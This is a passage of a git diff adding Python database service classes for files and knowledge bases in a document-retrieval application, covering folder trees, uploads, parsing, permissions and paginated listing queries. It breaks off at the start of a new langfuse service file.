+ files = cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == pf_id), ~(cls.model.id == pf_id))
+ count = files.count()
+ if desc:
+ files = files.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ files = files.order_by(cls.model.getter_by(orderby).asc())
+
+ files = files.paginate(page_number, items_per_page)
+
+ res_files = list(files.dicts())
+ for file in res_files:
+ if file["type"] == FileType.FOLDER.value:
+ file["size"] = cls.get_folder_size(file["id"])
+ file["kbs_info"] = []
+ children = list(
+ cls.model.select()
+ .where(
+ (cls.model.tenant_id == tenant_id),
+ (cls.model.parent_id == file["id"]),
+ ~(cls.model.id == file["id"]),
+ )
+ .dicts()
+ )
+ file["has_child_folder"] = any(value["type"] == FileType.FOLDER.value for value in children)
+ continue
+ kbs_info = cls.get_kb_id_by_file_id(file["id"])
+ file["kbs_info"] = kbs_info
+
+ return res_files, count
+
+ @classmethod
+ @DB.connection_context()
+ def get_kb_id_by_file_id(cls, file_id):
+ # Get knowledge base IDs associated with a file
+ # Args:
+ # file_id: File ID
+ # Returns:
+ # List of dictionaries containing knowledge base IDs and names
+ kbs = (
+ cls.model.select(*[Knowledgebase.id, Knowledgebase.name])
+ .join(File2Document, on=(File2Document.file_id == file_id))
+ .join(Document, on=(File2Document.document_id == Document.id))
+ .join(Knowledgebase, on=(Knowledgebase.id == Document.kb_id))
+ .where(cls.model.id == file_id)
+ )
+ if not kbs:
+ return []
+ kbs_info_list = []
+ for kb in list(kbs.dicts()):
+ kbs_info_list.append({"kb_id": kb["id"], "kb_name": kb["name"]})
+ return kbs_info_list
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_pf_id_name(cls, id, name):
+ # Get file by parent folder ID and name
+ # Args:
+ # id: Parent folder ID
+ # name: File name
+ # Returns:
+ # File object or None if not found
+ file = cls.model.select().where((cls.model.parent_id == id) & (cls.model.name == name))
+ if file.count():
+ e, file = cls.get_by_id(file[0].id)
+ if not e:
+ raise RuntimeError("Database error (File retrieval)!")
+ return file
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def get_id_list_by_id(cls, id, name, count, res):
+ # Recursively get list of file IDs by traversing folder structure
+ # Args:
+ # id: Starting folder ID
+ # name: List of folder names to traverse
+ # count: Current depth in traversal
+ # res: List to store results
+ # Returns:
+ # List of file IDs
+ if count < len(name):
+ file = cls.get_by_pf_id_name(id, name[count])
+ if file:
+ res.append(file.id)
+ return cls.get_id_list_by_id(file.id, name, count + 1, res)
+ else:
+ return res
+ else:
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_innermost_file_ids(cls, folder_id, result_ids):
+ # Get IDs of all files in the deepest level of folders
+ # Args:
+ # folder_id: Starting folder ID
+ # result_ids: List to store results
+ # Returns:
+ # List of file IDs
+ subfolders = cls.model.select().where(cls.model.parent_id == folder_id)
+ if subfolders.exists():
+ for subfolder in subfolders:
+ cls.get_all_innermost_file_ids(subfolder.id, result_ids)
+ else:
+ result_ids.append(folder_id)
+ return result_ids
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_file_ids_by_tenant_id(cls, tenant_id):
+ fields = [cls.model.id]
+ files = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id)
+ files.order_by(cls.model.create_time.asc())
+ offset, limit = 0, 100
+ res = []
+ while True:
+ file_batch = files.offset(offset).limit(limit)
+ _temp = list(file_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def create_folder(cls, file, parent_id, name, count):
+ # Recursively create folder structure
+ # Args:
+ # file: Current file object
+ # parent_id: Parent folder ID
+ # name: List of folder names to create
+ # count: Current depth in creation
+ # Returns:
+ # Created file object
+ if count > len(name) - 2:
+ return file
+ else:
+ file = cls.insert(
+ {"id": get_uuid(), "parent_id": parent_id, "tenant_id": current_user.id, "created_by": current_user.id, "name": name[count], "location": "", "size": 0, "type": FileType.FOLDER.value}
+ )
+ return cls.create_folder(file, file.id, name, count + 1)
+
+ @classmethod
+ @DB.connection_context()
+ def is_parent_folder_exist(cls, parent_id):
+ # Check if parent folder exists
+ # Args:
+ # parent_id: Parent folder ID
+ # Returns:
+ # Boolean indicating if folder exists
+ parent_files = cls.model.select().where(cls.model.id == parent_id)
+ if parent_files.count():
+ return True
+ cls.delete_folder_by_pf_id(parent_id)
+ return False
+
+ @classmethod
+ @DB.connection_context()
+ def get_root_folder(cls, tenant_id):
+ # Get or create root folder for tenant
+ # Args:
+ # tenant_id: Tenant ID
+ # Returns:
+ # Root folder dictionary
+ for file in cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == cls.model.id)):
+ return file.to_dict()
+
+ file_id = get_uuid()
+ file = {
+ "id": file_id,
+ "parent_id": file_id,
+ "tenant_id": tenant_id,
+ "created_by": tenant_id,
+ "name": "/",
+ "type": FileType.FOLDER.value,
+ "size": 0,
+ "location": "",
+ }
+ cls.save(**file)
+ return file
+
+ @classmethod
+ @DB.connection_context()
+ def get_kb_folder(cls, tenant_id):
+ # Get knowledge base folder for tenant
+ # Args:
+ # tenant_id: Tenant ID
+ # Returns:
+ # Knowledge base folder dictionary
+ root_folder = cls.get_root_folder(tenant_id)
+ root_id = root_folder["id"]
+ kb_folder = cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == root_id), (cls.model.name == KNOWLEDGEBASE_FOLDER_NAME)).first()
+ if not kb_folder:
+ kb_folder = cls.new_a_file_from_kb(tenant_id, KNOWLEDGEBASE_FOLDER_NAME, root_id)
+ return kb_folder
+ return kb_folder.to_dict()
+
+ @classmethod
+ @DB.connection_context()
+ def new_a_file_from_kb(cls, tenant_id, name, parent_id, ty=FileType.FOLDER.value, size=0, location=""):
+ # Create a new file from knowledge base
+ # Args:
+ # tenant_id: Tenant ID
+ # name: File name
+ # parent_id: Parent folder ID
+ # ty: File type
+ # size: File size
+ # location: File location
+ # Returns:
+ # Created file dictionary
+ for file in cls.query(tenant_id=tenant_id, parent_id=parent_id, name=name):
+ return file.to_dict()
+ file = {
+ "id": get_uuid(),
+ "parent_id": parent_id,
+ "tenant_id": tenant_id,
+ "created_by": tenant_id,
+ "name": name,
+ "type": ty,
+ "size": size,
+ "location": location,
+ "source_type": FileSource.KNOWLEDGEBASE,
+ }
+ cls.save(**file)
+ return file
+
+ @classmethod
+ @DB.connection_context()
+ def init_knowledgebase_docs(cls, root_id, tenant_id):
+ # Initialize knowledge base documents
+ # Args:
+ # root_id: Root folder ID
+ # tenant_id: Tenant ID
+ for _ in cls.model.select().where((cls.model.name == KNOWLEDGEBASE_FOLDER_NAME) & (cls.model.parent_id == root_id)):
+ return
+ folder = cls.new_a_file_from_kb(tenant_id, KNOWLEDGEBASE_FOLDER_NAME, root_id)
+
+ for kb in Knowledgebase.select(*[Knowledgebase.id, Knowledgebase.name]).where(Knowledgebase.tenant_id == tenant_id):
+ kb_folder = cls.new_a_file_from_kb(tenant_id, kb.name, folder["id"])
+ for doc in DocumentService.query(kb_id=kb.id):
+ FileService.add_file_from_kb(doc.to_dict(), kb_folder["id"], tenant_id)
+
+ @classmethod
+ @DB.connection_context()
+ def get_parent_folder(cls, file_id):
+ # Get parent folder of a file
+ # Args:
+ # file_id: File ID
+ # Returns:
+ # Parent folder object
+ file = cls.model.select().where(cls.model.id == file_id)
+ if file.count():
+ e, file = cls.get_by_id(file[0].parent_id)
+ if not e:
+ raise RuntimeError("Database error (File retrieval)!")
+ else:
+ raise RuntimeError("Database error (File doesn't exist)!")
+ return file
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_parent_folders(cls, start_id):
+ # Get all parent folders in path
+ # Args:
+ # start_id: Starting file ID
+ # Returns:
+ # List of parent folder objects
+ parent_folders = []
+ current_id = start_id
+ while current_id:
+ e, file = cls.get_by_id(current_id)
+ if file.parent_id != file.id and e:
+ parent_folders.append(file)
+ current_id = file.parent_id
+ else:
+ parent_folders.append(file)
+ break
+ return parent_folders
+
+ @classmethod
+ @DB.connection_context()
+ def insert(cls, file):
+ # Insert a new file record
+ # Args:
+ # file: File data dictionary
+ # Returns:
+ # Created file object
+ if not cls.save(**file):
+ raise RuntimeError("Database error (File)!")
+ return File(**file)
+
+ @classmethod
+ @DB.connection_context()
+ def delete(cls, file):
+ #
+ return cls.delete_by_id(file.id)
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_pf_id(cls, folder_id):
+ return cls.model.delete().where(cls.model.parent_id == folder_id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def delete_folder_by_pf_id(cls, user_id, folder_id):
+ try:
+ files = cls.model.select().where((cls.model.tenant_id == user_id) & (cls.model.parent_id == folder_id))
+ for file in files:
+ cls.delete_folder_by_pf_id(user_id, file.id)
+ return (cls.model.delete().where((cls.model.tenant_id == user_id) & (cls.model.id == folder_id)).execute(),)
+ except Exception:
+ logging.exception("delete_folder_by_pf_id")
+ raise RuntimeError("Database error (File retrieval)!")
+
+ @classmethod
+ @DB.connection_context()
+ def get_file_count(cls, tenant_id):
+ files = cls.model.select(cls.model.id).where(cls.model.tenant_id == tenant_id)
+ return len(files)
+
+ @classmethod
+ @DB.connection_context()
+ def get_folder_size(cls, folder_id):
+ size = 0
+
+ def dfs(parent_id):
+ nonlocal size
+ for f in cls.model.select(*[cls.model.id, cls.model.size, cls.model.type]).where(cls.model.parent_id == parent_id, cls.model.id != parent_id):
+ size += f.size
+ if f.type == FileType.FOLDER.value:
+ dfs(f.id)
+
+ dfs(folder_id)
+ return size
+
+ @classmethod
+ @DB.connection_context()
+ def add_file_from_kb(cls, doc, kb_folder_id, tenant_id):
+ for _ in File2DocumentService.get_by_document_id(doc["id"]):
+ return
+ file = {
+ "id": get_uuid(),
+ "parent_id": kb_folder_id,
+ "tenant_id": tenant_id,
+ "created_by": tenant_id,
+ "name": doc["name"],
+ "type": doc["type"],
+ "size": doc["size"],
+ "location": doc["location"],
+ "source_type": FileSource.KNOWLEDGEBASE,
+ }
+ cls.save(**file)
+ File2DocumentService.save(**{"id": get_uuid(), "file_id": file["id"], "document_id": doc["id"]})
+
+ @classmethod
+ @DB.connection_context()
+ def move_file(cls, file_ids, folder_id):
+ try:
+ cls.filter_update((cls.model.id << file_ids,), {"parent_id": folder_id})
+ except Exception:
+ logging.exception("move_file")
+ raise RuntimeError("Database error (File move)!")
+
+ @classmethod
+ @DB.connection_context()
+ async def upload_document(self, kb, file_objs, user_id):
+ root_folder = self.get_root_folder(user_id)
+ pf_id = root_folder["id"]
+ self.init_knowledgebase_docs(pf_id, user_id)
+ kb_root_folder = self.get_kb_folder(user_id)
+ kb_folder = self.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"])
+
+ err, files = [], []
+ for file in file_objs:
+ try:
+ DocumentService.check_doc_health(kb.tenant_id, file.filename)
+ filename = duplicate_name(DocumentService.query, name=file.filename, kb_id=kb.id)
+ filetype = filename_type(filename)
+ if filetype == FileType.OTHER.value:
+ raise RuntimeError("This type of file has not been supported yet!")
+
+ location = filename
+ while STORAGE_IMPL.obj_exist(kb.id, location):
+ location += "_"
+
+ blob = await file.read()
+ if filetype == FileType.PDF.value:
+ blob = read_potential_broken_pdf(blob)
+ STORAGE_IMPL.put(kb.id, location, blob)
+
+ doc_id = get_uuid()
+
+ img = thumbnail_img(filename, blob)
+ thumbnail_location = ""
+ if img is not None:
+ thumbnail_location = f"thumbnail_{doc_id}.png"
+ STORAGE_IMPL.put(kb.id, thumbnail_location, img)
+
+ doc = {
+ "id": doc_id,
+ "kb_id": kb.id,
+ "parser_id": self.get_parser(filetype, filename, kb.parser_id),
+ "pipeline_id": kb.pipeline_id,
+ "parser_config": kb.parser_config,
+ "created_by": user_id,
+ "type": filetype,
+ "name": filename,
+ "suffix": Path(filename).suffix.lstrip("."),
+ "location": location,
+ "size": len(blob),
+ "thumbnail": thumbnail_location,
+ }
+ DocumentService.insert(doc)
+
+ FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id)
+ files.append((doc, blob))
+ except Exception as e:
+ traceback.print_exc()
+ err.append(file.filename + ": " + str(e))
+
+ return err, files
+
+ @staticmethod
+ async def parse_docs(file_objs, user_id):
+ exe = ThreadPoolExecutor(max_workers=12)
+ threads = []
+ for file in file_objs:
+ # Check if file has async read method (UploadFile)
+ if hasattr(file, 'read') and hasattr(file.read, '__call__'):
+ try:
+ # Try to get the coroutine to check if it's async
+ read_result = file.read()
+ if hasattr(read_result, '__await__'):
+ # It's an async method, await it
+ blob = await read_result
+ else:
+ # It's a sync method
+ blob = read_result
+ except Exception:
+ # Fallback to sync read
+ blob = file.read()
+ else:
+ blob = file.read()
+
+ threads.append(exe.submit(FileService.parse, file.filename, blob, False))
+
+ res = []
+ for th in threads:
+ res.append(th.result())
+
+ return "\n\n".join(res)
+
+ @staticmethod
+ def parse(filename, blob, img_base64=True, tenant_id=None):
+ from rag.app import audio, email, naive, picture, presentation
+
+ def dummy(prog=None, msg=""):
+ pass
+
+ FACTORY = {ParserType.PRESENTATION.value: presentation, ParserType.PICTURE.value: picture, ParserType.AUDIO.value: audio, ParserType.EMAIL.value: email}
+ parser_config = {"chunk_token_num": 16096, "delimiter": "\n!?;。;!?", "layout_recognize": "Plain Text"}
+ kwargs = {"lang": "English", "callback": dummy, "parser_config": parser_config, "from_page": 0, "to_page": 100000, "tenant_id": current_user.id if current_user else tenant_id}
+ file_type = filename_type(filename)
+ if img_base64 and file_type == FileType.VISUAL.value:
+ return GptV4.image2base64(blob)
+ cks = FACTORY.get(FileService.get_parser(filename_type(filename), filename, ""), naive).chunk(filename, blob, **kwargs)
+ return "\n".join([ck["content_with_weight"] for ck in cks])
+
+ @staticmethod
+ def get_parser(doc_type, filename, default):
+ if doc_type == FileType.VISUAL:
+ return ParserType.PICTURE.value
+ if doc_type == FileType.AURAL:
+ return ParserType.AUDIO.value
+ if re.search(r"\.(ppt|pptx|pages)$", filename):
+ return ParserType.PRESENTATION.value
+ if re.search(r"\.(msg|eml)$", filename):
+ return ParserType.EMAIL.value
+ return default
+
+ @staticmethod
+ def get_blob(user_id, location):
+ bname = f"{user_id}-downloads"
+ return STORAGE_IMPL.get(bname, location)
+
+ @staticmethod
+ def put_blob(user_id, location, blob):
+ bname = f"{user_id}-downloads"
+ return STORAGE_IMPL.put(bname, location, blob)
diff --git a/api/db/services/knowledgebase_service.py b/api/db/services/knowledgebase_service.py
new file mode 100644
index 0000000..492c245
--- /dev/null
+++ b/api/db/services/knowledgebase_service.py
@@ -0,0 +1,496 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from datetime import datetime
+
+from peewee import fn, JOIN
+
+from api.db import StatusEnum, TenantPermission
+from api.db.db_models import DB, Document, Knowledgebase, User, UserTenant, UserCanvas
+from api.db.services.common_service import CommonService
+from api.utils import current_timestamp, datetime_format
+
+
+class KnowledgebaseService(CommonService):
+ """Service class for managing knowledge base operations.
+
+ This class extends CommonService to provide specialized functionality for knowledge base
+ management, including document parsing status tracking, access control, and configuration
+ management. It handles operations such as listing, creating, updating, and deleting
+ knowledge bases, as well as managing their associated documents and permissions.
+
+ The class implements a comprehensive set of methods for:
+ - Document parsing status verification
+ - Knowledge base access control
+ - Parser configuration management
+ - Tenant-based knowledge base organization
+
+ Attributes:
+ model: The Knowledgebase model class for database operations.
+ """
+ model = Knowledgebase
+
+ @classmethod
+ @DB.connection_context()
+ def accessible4deletion(cls, kb_id, user_id):
+ """Check if a knowledge base can be deleted by a specific user.
+
+ This method verifies whether a user has permission to delete a knowledge base
+ by checking if they are the creator of that knowledge base.
+
+ Args:
+ kb_id (str): The unique identifier of the knowledge base to check.
+ user_id (str): The unique identifier of the user attempting the deletion.
+
+ Returns:
+ bool: True if the user has permission to delete the knowledge base,
+ False if the user doesn't have permission or the knowledge base doesn't exist.
+
+ Example:
+ >>> KnowledgebaseService.accessible4deletion("kb123", "user456")
+ True
+
+ Note:
+ - This method only checks creator permissions
+ - A return value of False can mean either:
+ 1. The knowledge base doesn't exist
+ 2. The user is not the creator of the knowledge base
+ """
+ # Check if a knowledge base can be deleted by a user
+ docs = cls.model.select(
+ cls.model.id).where(cls.model.id == kb_id, cls.model.created_by == user_id).paginate(0, 1)
+ docs = docs.dicts()
+ if not docs:
+ return False
+ return True
+
+ @classmethod
+ @DB.connection_context()
+ def is_parsed_done(cls, kb_id):
+ # Check if all documents in the knowledge base have completed parsing
+ #
+ # Args:
+ # kb_id: Knowledge base ID
+ #
+ # Returns:
+ # If all documents are parsed successfully, returns (True, None)
+ # If any document is not fully parsed, returns (False, error_message)
+ from api.db import TaskStatus
+ from api.db.services.document_service import DocumentService
+
+ # Get knowledge base information
+ kbs = cls.query(id=kb_id)
+ if not kbs:
+ return False, "Knowledge base not found"
+ kb = kbs[0]
+
+ # Get all documents in the knowledge base
+ docs, _ = DocumentService.get_by_kb_id(kb_id, 1, 1000, "create_time", True, "", [], [])
+
+ # Check parsing status of each document
+ for doc in docs:
+ # If document is being parsed, don't allow chat creation
+ if doc['run'] == TaskStatus.RUNNING.value or doc['run'] == TaskStatus.CANCEL.value or doc['run'] == TaskStatus.FAIL.value:
+ return False, f"Document '{doc['name']}' in dataset '{kb.name}' is still being parsed. Please wait until all documents are parsed before starting a chat."
+ # If document is not yet parsed and has no chunks, don't allow chat creation
+ if doc['run'] == TaskStatus.UNSTART.value and doc['chunk_num'] == 0:
+ return False, f"Document '{doc['name']}' in dataset '{kb.name}' has not been parsed yet. Please parse all documents before starting a chat."
+
+ return True, None
+
+ @classmethod
+ @DB.connection_context()
+ def list_documents_by_ids(cls, kb_ids):
+ # Get document IDs associated with given knowledge base IDs
+ # Args:
+ # kb_ids: List of knowledge base IDs
+ # Returns:
+ # List of document IDs
+ doc_ids = cls.model.select(Document.id.alias("document_id")).join(Document, on=(cls.model.id == Document.kb_id)).where(
+ cls.model.id.in_(kb_ids)
+ )
+ doc_ids = list(doc_ids.dicts())
+ doc_ids = [doc["document_id"] for doc in doc_ids]
+ return doc_ids
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_tenant_ids(cls, joined_tenant_ids, user_id,
+ page_number, items_per_page,
+ orderby, desc, keywords,
+ parser_id=None
+ ):
+ # Get knowledge bases by tenant IDs with pagination and filtering
+ # Args:
+ # joined_tenant_ids: List of tenant IDs
+ # user_id: Current user ID
+ # page_number: Page number for pagination
+ # items_per_page: Number of items per page
+ # orderby: Field to order by
+ # desc: Boolean indicating descending order
+ # keywords: Search keywords
+ # parser_id: Optional parser ID filter
+ # Returns:
+ # Tuple of (knowledge_base_list, total_count)
+ fields = [
+ cls.model.id,
+ cls.model.avatar,
+ cls.model.name,
+ cls.model.language,
+ cls.model.description,
+ cls.model.tenant_id,
+ cls.model.permission,
+ cls.model.doc_num,
+ cls.model.token_num,
+ cls.model.chunk_num,
+ cls.model.parser_id,
+ cls.model.embd_id,
+ User.nickname,
+ User.avatar.alias('tenant_avatar'),
+ cls.model.update_time
+ ]
+ if keywords:
+ kbs = cls.model.select(*fields).join(User, on=(cls.model.tenant_id == User.id)).where(
+ ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission ==
+ TenantPermission.TEAM.value)) | (
+ cls.model.tenant_id == user_id))
+ & (cls.model.status == StatusEnum.VALID.value),
+ (fn.LOWER(cls.model.name).contains(keywords.lower()))
+ )
+ else:
+ kbs = cls.model.select(*fields).join(User, on=(cls.model.tenant_id == User.id)).where(
+ ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission ==
+ TenantPermission.TEAM.value)) | (
+ cls.model.tenant_id == user_id))
+ & (cls.model.status == StatusEnum.VALID.value)
+ )
+ if parser_id:
+ kbs = kbs.where(cls.model.parser_id == parser_id)
+ if desc:
+ kbs = kbs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ kbs = kbs.order_by(cls.model.getter_by(orderby).asc())
+
+ count = kbs.count()
+
+ if page_number and items_per_page:
+ kbs = kbs.paginate(page_number, items_per_page)
+
+ return list(kbs.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_kb_by_tenant_ids(cls, tenant_ids, user_id):
+ # will get all permitted kb, be cautious.
+ fields = [
+ cls.model.name,
+ cls.model.language,
+ cls.model.permission,
+ cls.model.doc_num,
+ cls.model.token_num,
+ cls.model.chunk_num,
+ cls.model.status,
+ cls.model.create_date,
+ cls.model.update_date
+ ]
+ # find team kb and owned kb
+ kbs = cls.model.select(*fields).where(
+ (cls.model.tenant_id.in_(tenant_ids) & (cls.model.permission ==TenantPermission.TEAM.value)) | (
+ cls.model.tenant_id == user_id
+ )
+ )
+ # sort by create_time asc
+ kbs.order_by(cls.model.create_time.asc())
+ # maybe cause slow query by deep paginate, optimize later.
+ offset, limit = 0, 50
+ res = []
+ while True:
+ kb_batch = kbs.offset(offset).limit(limit)
+ _temp = list(kb_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def get_kb_ids(cls, tenant_id):
+ # Get all knowledge base IDs for a tenant
+ # Args:
+ # tenant_id: Tenant ID
+ # Returns:
+ # List of knowledge base IDs
+ fields = [
+ cls.model.id,
+ ]
+ kbs = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id)
+ kb_ids = [kb.id for kb in kbs]
+ return kb_ids
+
+ @classmethod
+ @DB.connection_context()
+ def get_detail(cls, kb_id):
+ # Get detailed information about a knowledge base
+ # Args:
+ # kb_id: Knowledge base ID
+ # Returns:
+ # Dictionary containing knowledge base details
+ fields = [
+ cls.model.id,
+ cls.model.embd_id,
+ cls.model.avatar,
+ cls.model.name,
+ cls.model.language,
+ cls.model.description,
+ cls.model.permission,
+ cls.model.doc_num,
+ cls.model.token_num,
+ cls.model.chunk_num,
+ cls.model.parser_id,
+ cls.model.pipeline_id,
+ UserCanvas.title.alias("pipeline_name"),
+ UserCanvas.avatar.alias("pipeline_avatar"),
+ cls.model.parser_config,
+ cls.model.pagerank,
+ cls.model.graphrag_task_id,
+ cls.model.graphrag_task_finish_at,
+ cls.model.raptor_task_id,
+ cls.model.raptor_task_finish_at,
+ cls.model.mindmap_task_id,
+ cls.model.mindmap_task_finish_at,
+ cls.model.create_time,
+ cls.model.update_time
+ ]
+ kbs = cls.model.select(*fields)\
+ .join(UserCanvas, on=(cls.model.pipeline_id == UserCanvas.id), join_type=JOIN.LEFT_OUTER)\
+ .where(
+ (cls.model.id == kb_id),
+ (cls.model.status == StatusEnum.VALID.value)
+ ).dicts()
+ if not kbs:
+ return
+ return kbs[0]
+
+ @classmethod
+ @DB.connection_context()
+ def update_parser_config(cls, id, config):
+ # Update parser configuration for a knowledge base
+ # Args:
+ # id: Knowledge base ID
+ # config: New parser configuration
+ e, m = cls.get_by_id(id)
+ if not e:
+ raise LookupError(f"knowledgebase({id}) not found.")
+
+ def dfs_update(old, new):
+ # Deep update of nested configuration
+ for k, v in new.items():
+ if k not in old:
+ old[k] = v
+ continue
+ if isinstance(v, dict):
+ assert isinstance(old[k], dict)
+ dfs_update(old[k], v)
+ elif isinstance(v, list):
+ assert isinstance(old[k], list)
+ old[k] = list(set(old[k] + v))
+ else:
+ old[k] = v
+
+ dfs_update(m.parser_config, config)
+ cls.update_by_id(id, {"parser_config": m.parser_config})
+
+ @classmethod
+ @DB.connection_context()
+ def delete_field_map(cls, id):
+ e, m = cls.get_by_id(id)
+ if not e:
+ raise LookupError(f"knowledgebase({id}) not found.")
+
+ m.parser_config.pop("field_map", None)
+ cls.update_by_id(id, {"parser_config": m.parser_config})
+
+ @classmethod
+ @DB.connection_context()
+ def get_field_map(cls, ids):
+ # Get field mappings for knowledge bases
+ # Args:
+ # ids: List of knowledge base IDs
+ # Returns:
+ # Dictionary of field mappings
+ conf = {}
+ for k in cls.get_by_ids(ids):
+ if k.parser_config and "field_map" in k.parser_config:
+ conf.update(k.parser_config["field_map"])
+ return conf
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_name(cls, kb_name, tenant_id):
+ # Get knowledge base by name and tenant ID
+ # Args:
+ # kb_name: Knowledge base name
+ # tenant_id: Tenant ID
+ # Returns:
+ # Tuple of (exists, knowledge_base)
+ kb = cls.model.select().where(
+ (cls.model.name == kb_name)
+ & (cls.model.tenant_id == tenant_id)
+ & (cls.model.status == StatusEnum.VALID.value)
+ )
+ if kb:
+ return True, kb[0]
+ return False, None
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_ids(cls):
+ # Get all knowledge base IDs
+ # Returns:
+ # List of all knowledge base IDs
+ return [m["id"] for m in cls.model.select(cls.model.id).dicts()]
+
+ @classmethod
+ @DB.connection_context()
+ def get_list(cls, joined_tenant_ids, user_id,
+ page_number, items_per_page, orderby, desc, id, name):
+ # Get list of knowledge bases with filtering and pagination
+ # Args:
+ # joined_tenant_ids: List of tenant IDs
+ # user_id: Current user ID
+ # page_number: Page number for pagination
+ # items_per_page: Number of items per page
+ # orderby: Field to order by
+ # desc: Boolean indicating descending order
+ # id: Optional ID filter
+ # name: Optional name filter
+ # Returns:
+ # List of knowledge bases
+ kbs = cls.model.select()
+ if id:
+ kbs = kbs.where(cls.model.id == id)
+ if name:
+ kbs = kbs.where(cls.model.name == name)
+ kbs = kbs.where(
+ ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission ==
+ TenantPermission.TEAM.value)) | (
+ cls.model.tenant_id == user_id))
+ & (cls.model.status == StatusEnum.VALID.value)
+ )
+ if desc:
+ kbs = kbs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ kbs = kbs.order_by(cls.model.getter_by(orderby).asc())
+
+ kbs = kbs.paginate(page_number, items_per_page)
+
+ return list(kbs.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def accessible(cls, kb_id, user_id):
+ # Check if a knowledge base is accessible by a user
+ # Args:
+ # kb_id: Knowledge base ID
+ # user_id: User ID
+ # Returns:
+ # Boolean indicating accessibility
+ docs = cls.model.select(
+ cls.model.id).join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id)
+ ).where(cls.model.id == kb_id, UserTenant.user_id == user_id).paginate(0, 1)
+ docs = docs.dicts()
+ if not docs:
+ return False
+ return True
+
+ @classmethod
+ @DB.connection_context()
+ def get_kb_by_id(cls, kb_id, user_id):
+ # Get knowledge base by ID and user ID
+ # Args:
+ # kb_id: Knowledge base ID
+ # user_id: User ID
+ # Returns:
+ # List containing knowledge base information
+ kbs = cls.model.select().join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id)
+ ).where(cls.model.id == kb_id, UserTenant.user_id == user_id).paginate(0, 1)
+ kbs = kbs.dicts()
+ return list(kbs)
+
+ @classmethod
+ @DB.connection_context()
+ def get_kb_by_name(cls, kb_name, user_id):
+ # Get knowledge base by name and user ID
+ # Args:
+ # kb_name: Knowledge base name
+ # user_id: User ID
+ # Returns:
+ # List containing knowledge base information
+ kbs = cls.model.select().join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id)
+ ).where(cls.model.name == kb_name, UserTenant.user_id == user_id).paginate(0, 1)
+ kbs = kbs.dicts()
+ return list(kbs)
+
+ @classmethod
+ @DB.connection_context()
+ def atomic_increase_doc_num_by_id(cls, kb_id):
+ data = {}
+ data["update_time"] = current_timestamp()
+ data["update_date"] = datetime_format(datetime.now())
+ data["doc_num"] = cls.model.doc_num + 1
+ num = cls.model.update(data).where(cls.model.id == kb_id).execute()
+ return num
+
+ @classmethod
+ @DB.connection_context()
+ def update_document_number_in_init(cls, kb_id, doc_num):
+ """
+ Only use this function when init system
+ """
+ ok, kb = cls.get_by_id(kb_id)
+ if not ok:
+ return
+ kb.doc_num = doc_num
+
+ dirty_fields = kb.dirty_fields
+ if cls.model._meta.combined.get("update_time") in dirty_fields:
+ dirty_fields.remove(cls.model._meta.combined["update_time"])
+
+ if cls.model._meta.combined.get("update_date") in dirty_fields:
+ dirty_fields.remove(cls.model._meta.combined["update_date"])
+
+ try:
+ kb.save(only=dirty_fields)
+ except ValueError as e:
+ if str(e) == "no data to save!":
+ pass # that's OK
+ else:
+ raise e
+
+ @classmethod
+ @DB.connection_context()
+ def decrease_document_num_in_delete(cls, kb_id, doc_num_info: dict):
+ kb_row = cls.model.get_by_id(kb_id)
+ if not kb_row:
+ raise RuntimeError(f"kb_id {kb_id} does not exist")
+ update_dict = {
+ 'doc_num': kb_row.doc_num - doc_num_info['doc_num'],
+ 'chunk_num': kb_row.chunk_num - doc_num_info['chunk_num'],
+ 'token_num': kb_row.token_num - doc_num_info['token_num'],
+ 'update_time': current_timestamp(),
+ 'update_date': datetime_format(datetime.now())
+ }
+ return cls.model.update(update_dict).where(cls.model.id == kb_id).execute()
diff --git a/api/db/services/langfuse_service.py b/api/db/services/langfuse_service.py
new file mode 100644
index 0000000..6f46469
--- /dev/null
+++ b/api/db/services/langfuse_service.py
@@ -0,0 +1,76 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
